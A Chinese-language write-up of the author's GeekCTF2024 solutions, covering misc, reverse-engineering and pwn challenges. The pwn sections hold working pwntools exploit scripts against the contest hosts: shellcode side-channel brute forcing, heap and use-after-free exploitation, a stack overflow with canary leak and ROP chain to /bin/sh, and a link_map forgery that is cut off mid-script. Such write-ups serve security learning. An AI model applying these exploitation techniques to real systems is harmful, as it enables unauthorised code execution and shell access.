GeekCTF2024 - WriteUp

# GeekCTF2024 - WriteUp

# 得分总览

完蛋!我被大佬包围了!

现在竟然排名还在

Rank 19/633

Category题目名称得分解题人数
MiscWelcome17612
MiscWhereIsMyFlag10495
MiscRealOrNot33323
MiscBoy's Bullet25034
Pwnshellcode26132
Pwnflat29727
PwnCppGame39218
PwnMemo098102
PwnMemo117453
PwnMemo250012
ReversePeer-Trace28928

总结:战斗,爽!抗压,爽!

# Update 2024/9/22

如果用一句话评价这场比赛,那就是 “这绝对是这学期我打过的质量最高的一场比赛,我受益颇丰。”

下图是前 80 免费送的 GEEKCON2024 ticket

原本是前 50 送的,为此我一周内不断掉到 50 名开外,又不断解出,最后直接干到 rank19,结果结束后主办方调整为前 80 送 ticket... ...

没事,打比赛是为了学习新技术是吧:(

可惜场地在新加披,如果是在北京我一定去捧场:(

# Misc

# Welcome

直接复制粘贴:Welcome to GEEKCTF 2024! Your first FLAG will be flag{welcome_geekers}

# WhereIsMyFlag

py 源码里面夹带私货:

1
;import gzip; import base64; gzip.decompress(base64.b64decode('H4sIAAAAAAACA5Pv5mAAASbmt3cNuf9EzT3+sN5nQrdr2jIOrcbXJmHROjnJAouEuzN5jcq4Fbf6bN1wVlfNYInA9KvHri/k2HjhUVbxzHOHlB5vNdhWdDOpzPyo0Yy7S+6LFzyoXBVc/0r/+ffe+TVfEr8u/dF93/3if9td8//+Ff//8WK4HQMUNL7+V9J/3fBA+2Ojea/lmaCiC7PLMzf1Mt3zjTvJCBU6+Pp00v6/Ah92xQpbQoUUKm7azN2meyBZkk/cFi52vlpmbXQD0LhshLq3er7XdB2+533y4oOKccTFi/1+63HgdZnvE6hQw4PUzyW3tjH0p1rEfIGL2b4v3JLH2He6Yt1TuNjW3SaR2xnu7j6pjbCiNvLNdmXG9bdNJzJDxZqmn72ceZvJZtrDgotwse97jl/cxWqh93jnNLjY9XeXUu4ylbxXW49wytfUjff7WPbkXXdBuNjMf3ku94eItsOu/DCxe5/l3F+LPdjR8zwKoW639+RS7gt7Z++ZhLBi+tE6a6HRwBsNvNHAGw280cAbDbzRwBsNPETgff/8c/3l6bfX1355+POl/P+f7P/n1n17/L7239/8ufs8Ztf/fWr+mP/P/rrvL+vrbP59m1/39Wf/vh/T///y/vb102R/u9/b4///3m4v9+/D9vof7+bv/zX7v2bdr375Xe//6DOe7GOObudnAAAdRZxfbAoAAA=='))

菜,就多练!输不起,就别玩!以前是以前,现在是现在!要是一直拿以前当现在,哥们你怎么不拿你刚出生的时候对比啊!

base64 解码后是个嵌套压缩包,直接解压几次就出 flag 了

flag{760671da3ca23cae060262190c01e575873c72e6}

# RealOrNot

看 server.py 发现要判断 20 个图片是不是假的,人力判断太麻烦,而且回显也有指示哪个错误,直接每次交互都修正一次,多次交互之后就能得到正确答案。
因此写了个自动的 python 脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
import hashlib
import base64
import random
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
import select
import time
import threading
# context.log_level='debug'
# context(arch='amd64',os='linux')
# context.terminal=['tmux','splitw','-h']

# pwn = ''
# #p=remote(' ',)
# #p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')

# p.interactive()
def sha256(data):
return hashlib.sha256(data).hexdigest()
# nc -X connect -x instance.chall.geekctf.geekcon.top:18081 kr44jgkby6tx8ect 1

data1=b'jIqf6JNPTFsT0n5q'

# hash_result = sha256()
res=0
def calc():
global res
global data1
n=4
x=4
i=0
pre='0000'
while 1:
i+=1
a=True
data0=sha256((long_to_bytes(i))+data1)

if data0[0]=='0' and data0[1]=='0' and data0[2]=='0' and data0[3]=='0'and data0[4]=='0':
# print(data0)
for k in long_to_bytes(i):
if int(k)<=0x20 or int(k)>=0x7f:
a=False
if a:
print((long_to_bytes(i))+data1)
res=i
return i
# YYYYYYYYYYYYYYYYYYYY


import subprocess
import os
import queue
# 创建一个子进程,执行nc命令并与之交互\
arr=[]
num=0
def hack():
global data1
global num
global arr
global res
nc_process = subprocess.Popen(["nc", "-X", "connect", "-x", "instance.chall.geekctf.geekcon.top:18081", "h8mmcwrtmw8hyt87", "1"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
output0=[]
output = nc_process.stdout.readline()
print(output[34:50])
data1=bytes(output[34:50].encode())
calc()
x=res
print(str(long_to_bytes(x))[2:-1])
nc_process.stdin.write(str(long_to_bytes(x))[2:-1]+'\n')
nc_process.stdin.flush()
# print(ou)
# 关闭子进程
seed=4
ii=0
ans="NNNNNNNNNNNNNNNNNNNN"

for j in range(20):
find=False
ii+=1
print(j+1)
output = nc_process.stdout.readline()
# print(output)
output = nc_process.stdout.readline()
# print(output)
s= nc_process.stdout.readline()
output0.append(s)
ou=base64.b64decode(output0[j])
with open(str(seed)+str(ii)+str(".png"), 'wb') as f:
f.write(ou)
for i in range(len(arr)):
if output0[j]==arr[i][0] :
find=True
if arr[i][1]==0:
ans=ans[:j] + 'Y' + ans[j+1:]

# if output not in arr:
if find==False:
print("num ",j+1,":")
a=1
# int(input())
arr.append([output0[j],a])
num+=1
if a==0:
ans=ans[:j] + 'Y' + ans[j+1:]
print(ans)
nc_process.stdin.write(ans+'\n')
nc_process.stdin.flush()

print("xx")
timeout=5
print("hack?")
line = nc_process.stdout.readline()
print(line)
line = nc_process.stdout.readline()
print(line)
print("ok?")
ok=1
if ok!=0:
# Enter your answers for all 20 rounds (Y/N): Incorrect answer for Round 6. Game over.
if line[71:72]!='u':s=line[71:72]
else :
nc_process.stdin.close()
nc_process.terminate()
if(line[72]!='.'):s+=line[72]
idx=int(s)
print(idx)
for i in arr:
if i[0]==output0[idx-1]:
print("found!Edit Success!")
if i[1]==1 :i[1]=0
else: print("Error!!!!");pause()
nc_process.stdin.close()
nc_process.terminate()
import numpy as np
xx=0
for i in range(5):
xx+=1
print(xx," times, count: ",num)
hack()
pause()
for i in range(len(arr)):
output=arr[i][0]
ou=base64.b64decode(output)
with open("RES-"+str(arr[i][1])+"-"+str(i)+str(".png"), 'wb') as f:
f.write(ou)

一直跑就能拿 flag 了。

# Boy's Bullet

要求上传一张 jpeg 图片,应该是只检查的扩展名,要有时间戳,而且时间要满足要求。
时间戳好处理,直接手机拍一张图片就行。
修改时间就直接 WinHex 更改就行了。刚开始改到 10.1.1 发现都过不了,直接改成 9011.1.1 直接拿 flag 了
菜,就多练!输不起,就别玩!以前是以前,现在是现在!要是一直拿以前当现在,哥们你怎么不拿你刚出生的时候对比啊!
菜,就多练!输不起,就别玩!以前是以前,现在是现在!要是一直拿以前当现在,哥们你怎么不拿你刚出生的时候对比啊!

# Reverse

用一个程序去监视另一个进程,并且修改另一个进程的数据。

puppet 只是一个进行异或检查的东西,没啥大问题。但是 peer 把输入内容修改了而且把原本 flag 异或之后的数据修改了。
所以调试之后发现 peer 首先把每八个字节内部交换了顺序 (输入 12345678 之后好像是 68745132),之后减去了数值,而且把原本的结果数值都减去了 peer 中的数据。
因此直接搓个 cpp 就出 flag 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include<iostream>
using namespace std;
int main(){
int a[]={0x9C, 0x56 ,0x89 ,0xF3 ,0xB5 ,0x87 ,0x0F ,0xF0 ,0xD1 ,0x9B ,0x6C ,0xA4 ,0xD1 ,0xA2 ,0x00 ,0x35 ,0x81 ,0xD4 ,0xB0 ,0x30 ,0xF3 ,
0x89 ,0x0A ,0x89 ,0x13 ,0x45 ,0xA0 ,0x08 ,0xCA ,0x1F ,0x0F ,0x20 ,0x00 ,0x4F ,0x56 ,0x81 ,0x03 ,0x5B ,0xAB ,0xC3 ,0xC7 ,0xFD ,0x57 ,0xBB ,0x09 ,0x3B ,0x95 ,0x08 ,0x00};
int a1[]={0x9C, 0x56 ,0x89 ,0xF3 ,0xB5 ,0x87 ,0x0F ,0xF0 ,0xD1 ,0x9B ,0x6C ,0xA4 ,0xD1 ,0xA2 ,0x00 ,0x35 ,0x81 ,0xD4 ,0xB0 ,0x30 ,0xF3 ,
0x89 ,0x0A ,0x89 ,0x13 ,0x45 ,0xA0 ,0x08 ,0xCA ,0x1F ,0x0F ,0x20 ,0x00 ,0x4F ,0x56 ,0x81 ,0x03 ,0x5B ,0xAB ,0xC3 ,0xC7 ,0xFD ,0x57 ,0xBB ,0x09 ,0x3B ,0x95 ,0x08 ,0x00};
int a2[]={0x9C, 0x56 ,0x89 ,0xF3 ,0xB5 ,0x87 ,0x0F ,0xF0 ,0xD1 ,0x9B ,0x6C ,0xA4 ,0xD1 ,0xA2 ,0x00 ,0x35 ,0x81 ,0xD4 ,0xB0 ,0x30 ,0xF3 ,
0x89 ,0x0A ,0x89 ,0x13 ,0x45 ,0xA0 ,0x08 ,0xCA ,0x1F ,0x0F ,0x20 ,0x00 ,0x4F ,0x56 ,0x81 ,0x03 ,0x5B ,0xAB ,0xC3 ,0xC7 ,0xFD ,0x57 ,0xBB ,0x09 ,0x3B ,0x95 ,0x08 ,0x00};
int b[]={0x40,0x3f,0x31,0x94,0x69,0x3e,0x9c,0xa3
,0x60 ,0x9B ,0x5B ,0x56 ,0x70 ,0x24 ,0x87 ,0x17,0x68 ,0xCA ,0x97 ,0xBA ,0xAA ,0x18 ,0xA9 ,0x11 ,0xB0 ,0xD3 ,0x3D ,0x9B ,0xAB ,0xB0 ,0xF1 ,0xB8,0xE4 ,0x35 ,0x18 ,0x6A ,0xFB ,0x49 ,0x87 ,0x48,0x58 ,0x81 ,0xE9 ,0x8F ,0xF7 ,0x26 ,0x29 ,0x08
};
char c[100];
for(int i=0;i<0x30;i++){
c[i]=static_cast<char>(a[i])-static_cast<char>(b[i]);
}
for(int i=0;i<=0x30;i+=8){
char x=c[3+i];
c[3+i]=c[4+i];
c[4+i]=x;
// swap(b[3+i],b[4+i]);
for(int j=0;j<=7;j++){
c[i+j]^=0x28;
c[i+j]+=i+j;
cout<<c[i+j]<<" ";
}
cout<<endl;
}
int arr0[]={6,8,7,4,5,1,3,2};
int arr[]={6,8,7,4,5,1,3,2};
for(int i=0;i<=7;i++){
for(int j=0;j<=7;j++){
cout<<c[arr[j]-1 + 8*i];
}
}
// 68745132
}

flag{tr@cE_TraC1ng_trAC3d_TRaces_z2CcT8SjWre0op}
菜,就多练!输不起,就别玩!以前是以前,现在是现在!要是一直拿以前当现在,哥们你怎么不拿你刚出生的时候对比啊!

# Pwn

# Shellcode

要求写一奇偶相间的 shellcode。

先搓一个 read 减少工作量,之后读入新的 shellcode 把老的覆盖掉,就能执行别的操作了。

但是这题开了沙箱,只能用 read open 的 syscall,直接输出 flag 是不行的了。
因此直接侧信道攻击拿 flag,一个字符一个字符爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
# context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './shellcode'
shellcode='''
push rdx
push r10
push r10
pop rcx
pop rax
xor eax,0x3130050e
xor [rsi+0x15],rax

pop rax
push rdi
pop rax
pop rcx
pop rdx
'''
def pwn(dis,char):
shellcode1='''
mov r12,0x67616c66
push r12
mov rdi,rsp
push rsi
xor esi,esi
xor edx,edx
mov al,2
syscall
mov rdi,rax
mov rsi,rsp
mov dl,0x40
xor rax,rax
syscall
mov dl, byte ptr [rsi+{}]
mov cl, {}
cmp cl,dl
jz loop
mov al,60
syscall
loop:
jmp loop
'''.format(dis,char)
p.recvuntil("Please input your shellcode: ")
p.send(asm(shellcode))
# gdb.attach(p)
# pause()
p.send(b'a'*0x17+asm(shellcode1))

flag = "" #初始化一个空的字符串来存储 flag。
for i in range(len(flag),36): #从当前 flag 长度到长度 35 的范围内找到 flag 的字符
sleep(1)
log.success("flag : {}".format(flag)) #打印当前已知的 flag 内容。
for j in range(0x20,0x80): #在 ASCII 可打印字符范围内进行循环。
# p = process('./shellcode')
p=remote("chall.geekctf.geekcon.top",40245)
try:
# print(hex(flag[i]))

pwn(i+3,j)
p.recv()
# p.recvuntil("\n")
p.recvline(timeout=3) #在 1 秒内没有收到数据,将抛出一个超时异常。
flag += chr(j)

print(hex(j))
# pause()
p.sendline('\n')
log.success("{} pos : {} success".format(i,chr(j)))
p.close()
print(flag)
break #跳出当前的 for 循环,继续下一个长度的 flag 的爆破。
except:
p.close()
print("flag:is:------------------>",flag)
print(flag)
# print(hex(flag[i-1]))

# flat

加了 OLLVM 混淆,直接跑脚本去掉混淆之后是个 2.23 的 heap,但是基本没有回显,而且读入比较刁钻,但是拿 shell 就很基础。不多讲述。
flag{learning_deflat_trick_to_defeat_ollvm}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './flat'
p=remote('chall.geekctf.geekcon.top',40246)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=gdb.debug('./flat')
# p=process(pwn)

#elf=ELF(pwn)
#libc=ELF('./libc.so.6')

def add(idx,size,con):
p.sendline("768")
p.sendline(str(idx))
p.sendline(str(size))
p.sendline(con)
def dele(idx):
p.sendline("4919")
p.sendline(str(idx))
def show(idx):
p.sendline("57005")
p.sendline(str(idx))
def edit(idx,con):
p.sendline("2989")
p.sendline(str(idx))
p.sendline(con)
def readu(idx,con):
p.sendline("4112")
p.sendline(str(idx))
p.sendline(con)

add(0,0x500,b'0')
add(1,0x500,b'a')
add(2,0x500,b'b')
add(3,0x500,b'c')
add(4,0x400,b'c')
add(5,0x800,b'a')
add(6,0x7f0,b'a')
add(7,0x7f0,b'a')
add(8,0x7f0,b'a')
add(9,0x7f0,b'a')
add(10,0x7f0,b'a')
add(11,0x7f0,b'a')
add(12,0x7f0,b'a')

# add()
# dele(2)
dele(1)
dele(0)
dele(4)
add(1,0x510,b'a')

edit(1,b'a'*(0x510-0xf8-0x20+8)+p64(0x0)*(0x10+13)+p64(0x4061a0)*(0x1)+p64(0x511))
dele(6)
dele(7)
dele(8)
dele(9)

add(13,0x4f0,b'/bin/sh')
dele(11)
dele(10)
dele(9)
dele(8)
dele(7)
dele(6)
add(14,0x6f0,b'/bin/sh')
add(15,0x120,b'a')
add(16,0xc0,b'a')
add(17,0x400,b'a'*0x10+p64(0xc0))
show(16)
libc_base=u64(p.recv(6)+b'\x00\x00')-(0x00007b65bdf56be0-0x7b65bdd6a000)
hook=libc_base+0x1EEE48
one=libc_base+0xe3afe
gad=libc_base+0x013f201
free_got=0x406018
syst=libc_base+0x52290
readu(17,b'a'*0x10+p64(0xc0)+p64(free_got))
readu(16,p64(syst))
# add(20,0x10,b'a')
dele(13)

# : xor edx, edx ; mov eax, r10d ; ret
# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
# [r15] == NULL || r15 == NULL || r15 is a valid argv
# [r12] == NULL || r12 == NULL || r12 is a valid envp

# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
# [r15] == NULL || r15 == NULL || r15 is a valid argv
# [rdx] == NULL || rdx == NULL || rdx is a valid envp

# 0xe3b04 execve("/bin/sh", rsi, rdx)
# constraints:
# [rsi] == NULL || rsi == NULL || rsi is a valid argv
# [rdx] == NULL || rdx == NULL || rdx is a valid envp


# edit(17)
# add(13,0x7f0,b'a')
# add(14,0x7f0,b'a')

# add(2,0x400,b'')
# add(0,0x500,b'a')
# edit(1,b'b'*0x400)

# add(2,0x700,b'd')
# readu(1,b'e'*8)
# show(1)
# dele(1)
# gdb.attach(p,"b puts")
p.interactive()

# CppGame

漏洞在 display_card 函数里面,card 不是使用指针,导致函数结束执行析构函数会释放结构体的 description 堆块,但是并没有清空指针。
菜,就多练!输不起,就别玩!以前是以前,现在是现在!要是一直拿以前当现在,哥们你怎么不拿你刚出生的时候对比啊!
此外,随着 vector 容量增加,他需要新的、大的堆块,就会把析构函数 free 的 0x90 的 chunk 给申请过来,就可以直接更改 vector 的内容。
由于 card 结构体里面 name 之后紧跟的就是堆块地址,填 0x10 的 name 就能在输出 name 的时候把堆块地址带出来,于是直接把 vector 改成一半 Eruption,一半 Vigilance 加上一个 Rushdown,这样就能大概率实现在一轮 game 中循环扣血,直至磨死 monster。

菜,就多练!输不起,就别玩!以前是以前,现在是现在!要是一直拿以前当现在,哥们你怎么不拿你刚出生的时候对比啊!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

# context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
# nc
pwn = './game'
p=remote('chall.geekctf.geekcon.top',40304)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./game')
#
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
def add(idx):
p.sendlineafter("Your choice:","1")
p.sendlineafter("which card do you want to buy?",str(idx))
def dele(idx):
p.sendlineafter("Your choice:","3")
p.sendlineafter("Input card index:",str(idx))
def edit(idx):
p.sendlineafter("Your choice:","2")
p.sendlineafter("Input card index:",str(idx))
p.sendafter("Your new card name:","12345678qwerasdf")
# 6ea0
# 6f80
# 7060
# 0x5766de1f7120 4
# 0x5766de1f7210 3
# 0x5766de1f73b0 5
# 7470
add(3)
add(4)
add(5)
#
add(1)
dele(1)
dele(2)
# dele(3)
add(1) # 7530
# add(1)
edit(1)
# gdb.attach(p)
p.recvuntil(b"asdf")
addr=u64(p.recv(6)+b'\x00\x00')
print(hex(addr))
heap_base=addr-(0x5f8bb71ffee0-0x5f8bb71ee000)
print(hex(heap_base))
print(hex(heap_base-(0x641b804a8000-0x641b7f8c4000)))
i3=heap_base+(0x5766de1f7210-0x5766de1e5000)+0x10
i4=heap_base+(0x5766de1f7120-0x5766de1e5000)+0x10
i5=heap_base+(0x5766de1f73b0-0x5766de1e5000)+0x10
paylaod=p64(i5)+p64(i4)*4+p64(i3)*4
p.sendline(paylaod)
# base 0x5766de1e5000 vec 0x5766de1f6ee0

p.interactive()

# Memo0

签到题,简单小逆向,加了点小 trick 的 base64
密码是 CTF_is_interesting_isn0t_it?
直接输进去就有 flag 了
flag {U_r_th3_ma5ter_0f_ba5e64}
菜,就多练!输不起,就别玩!以前是以前,现在是现在!要是一直拿以前当现在,哥们你怎么不拿你刚出生的时候对比啊!

# Memo1

漏洞在 edit 函数里面,v3 是带符号的,导致可以写成负数,就可以过去大小判断的检查,直接栈溢出
菜,就多练!输不起,就别玩!以前是以前,现在是现在!要是一直拿以前当现在,哥们你怎么不拿你刚出生的时候对比啊!
但是保护全开,其实只要解决 canary 和 pie 就行了。
canary 就覆盖掉低位的 0x00,这里用 edit 函数,写 0xF000000000000109 的 size 就能写 0x109 个 a,而且不会添加 0x00 截断,之后输出就行了。
之后使用同样方法拿到 libc 基址,搓个 ROP 链子就能拿 flag 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './memo1'
p=remote('chall.geekctf.geekcon.top',40311)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./memo1')

#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
password="CTF_is_interesting_isn0t_it?"

def add(con):
p.sendlineafter("Your choice:","1")
p.sendlineafter("What do you want to write in the memo:",con)
def edit(len,con):
p.sendlineafter("Your choice:","3")
p.sendlineafter("How many characters do you want to change:",str(len))
p.sendline(con)
def show():
p.sendlineafter("Your choice:","2")
def hack():
p.sendlineafter("Your choice:","114")
p.sendlineafter("Memo Login",password)
p.recvuntil("Login Success!")
add(b'a'*0x10)
edit(-1152921504606846711,b'a'*0x109)# 0xF000000000000109
show()
p.recvuntil(b'a'*0x109)
# p.recv(1)
canary=u64(b'\x00'+p.recv(7))
print(hex(canary))
edit(-1152921504606846696,b'a'*0x118)# 0xF000000000000118
show()

p.recvuntil(b'a'*0x118)
libc_base=u64(p.recv(6)+b'\x00\x00')-(0x7d4b38229d90-0x7d4b38200000)
one=libc_base+0xebd43
sh=libc_base+0x1d8678
pop_rdi=libc_base+0x02a3e5
# gdb.attach(p)
edit(-1,b'a'*0x108+p64(canary)+p64(0)+p64(pop_rdi)+p64(sh)+p64(libc_base+0x29139)+p64(libc_base+0x50d70))# 0xF000000000000118
hack()
p.interactive()

# 0xebc81 execve("/bin/sh", r10, [rbp-0x70])
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL || r10 is a valid argv
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

# 0xebc85 execve("/bin/sh", r10, rdx)
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL || r10 is a valid argv
# [rdx] == NULL || rdx == NULL || rdx is a valid envp

# 0xebc88 execve("/bin/sh", rsi, rdx)
# constraints:
# address rbp-0x78 is writable
# [rsi] == NULL || rsi == NULL || rsi is a valid argv
# [rdx] == NULL || rdx == NULL || rdx is a valid envp

# 0xebce2 execve("/bin/sh", rbp-0x50, r12)
# constraints:
# address rbp-0x48 is writable
# r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
# [r12] == NULL || r12 == NULL || r12 is a valid envp

# 0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
# constraints:
# address rbp-0x48 is writable
# r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

# 0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
# constraints:
# address rbp-0x48 is writable
# rax == NULL || {rax, r12, NULL} is a valid argv
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

# 0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
# constraints:
# address rbp-0x50 is writable
# rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

# Memo2

相比较 Memo1,把 buf 移到了 mmap 的一段内存了,并且内存清零了,但是写满 0x2000 可以泄露 ld 基址。
sign 函数有个栈溢出,但是有 canary。RELRO 没有全开,考虑有可能是利用 RELRO 相关内容。

动态链接会用到 ld 里面的 linkmap,因此 buf 里面伪造一个 symtab,__stack_check_fail 就会链接为别的不会退出的函数,之后直接 ROP 就能拿 shell 了。
此外,动态链接会检查函数的版本啥的__stack_check_fail 是 GLIBC_2.4 的,所以要找一个相同版本的函数在伪造。因此选择 openat64 函数。
ld 里面函数 ROP 基本用不到,考虑直接 syscall
首先栈迁移,之后设置寄存器,在 ret 到 syscall,就能拿 shell 了。

菜,就多练!输不起,就别玩!以前是以前,现在是现在!要是一直拿以前当现在,哥们你怎么不拿你刚出生的时候对比啊!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
#coding=utf-8
from pwn import *
from socket import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

global p
global r
global script

ELFpath=''
libcpath=''

DEBUG=2
PROCESS=1
REMOTE=0

run_mode=PROCESS
socket_flag=False

ELFpath='./memo2'
e=ELF(ELFpath)
os.chdir(ELFpath[:ELFpath.rfind('/')])

libcpath='./libc.so.6'
#libcpath='/usr/lib/x86_64-linux-gnu/libc-2.31.so'
if(libcpath!=""):
libc=ELF(libcpath)

script='''
b*0x4c1f60
b*0x4c19ef
b*0x4c1c2e
'''

if(socket_flag==False):
if(run_mode==DEBUG):
p=gdb.debug(args=[ELFpath],gdbscript=script)
elif(run_mode==PROCESS):
p=process(argv=[ELFpath])
elif(run_mode==REMOTE):
#p=remote('node4.buuoj.cn',26060)
p=remote('chall.geekctf.geekcon.top',40312)

else:
if(run_mode==DEBUG):
r=gdb.debug(ELFpath,script)
elif(run_mode==PROCESS):
r=process(argv=[ELFpath])
pause()
p=remote('chall.geekctf.geekcon.top',40312)

rut=lambda s :p.recvuntil(s,timeout=0.3)
ru=lambda s :p.recvuntil(s)
rn=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))

LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))

def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
global p
global run_mode
if(run_mode!=PROCESS):
return
#text_base, libc_base = get_base(p, 'challenge')
# script = '''
# set $text_base = {}
# set $libc_base = {}
# b malloc
# '''.format(text_base, libc_base)
if socket_flag==False:
gdb.attach(p, script)
else:
gdb.attach(r, script)

def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)

def create_link_map(l_addr,know_got,link_map_addr):
link_map=p64(l_addr & (2 ** 64 - 1))
#dyn_relplt
link_map+=p64(0)
link_map+=p64(link_map_addr+0x18) #ptr2relplt
#relplt
link_map+=p64((know_got - l_addr)&(2**64-1))
link_map+=p64(0x7)
link_map+=p64(0)

#dyn_symtab
link_map+=p64(0)
link_map+=p64(know_got-0x8)

link_map+=b'/flag\x00\x00\x00'

link_map=link_map.ljust(0x68,b'B')

link_map+=p64(link_map_addr) #ptr2dyn_strtab_addr
link_map+=p64(link_map_addr+0x30) #ptr2dyn_symtab_addr

link_map=link_map.ljust(0xf8,b'C')

link_map+=p64(link_map_addr+0x8) #ptr2dyn_relplt_addr
return link_map


def add(con):
p.sendlineafter("Your choice:","1")
p.sendafter("What do you want to write in the memo:",con)
def show():
p.sendlineafter("Your choice:","2")
def edit(num,con):
p.sendlineafter("Your choice:","3")
p.sendlineafter("How many characters do you want to change:",str(num))
p.send(con)
def clean():
p.sendlineafter("Your choice:","4")
def signa(pos,con):
p.sendlineafter("Your choice:","5")
p.sendlineafter("Where would you like to sign(after the content):",str(pos))
# gdb.attach(p)
p.sendafter("Enter your name:",con)

if(run_mode==PROCESS):
script='''
b*$rebase(0x1afa)
b _dl_lookup_symbol_x
b *(_dl_lookup_symbol_x+316)
'''
'''
'''
passwd="CTF_is_interesting_isn0t_it?"
p.sendlineafter("Please enter your password:",passwd)
add('a'*0x2000)
show()
ru('a'*0x2000)
ld_base=u64(rn(6).ljust(8,b'\x00'))-0x78+0x2000
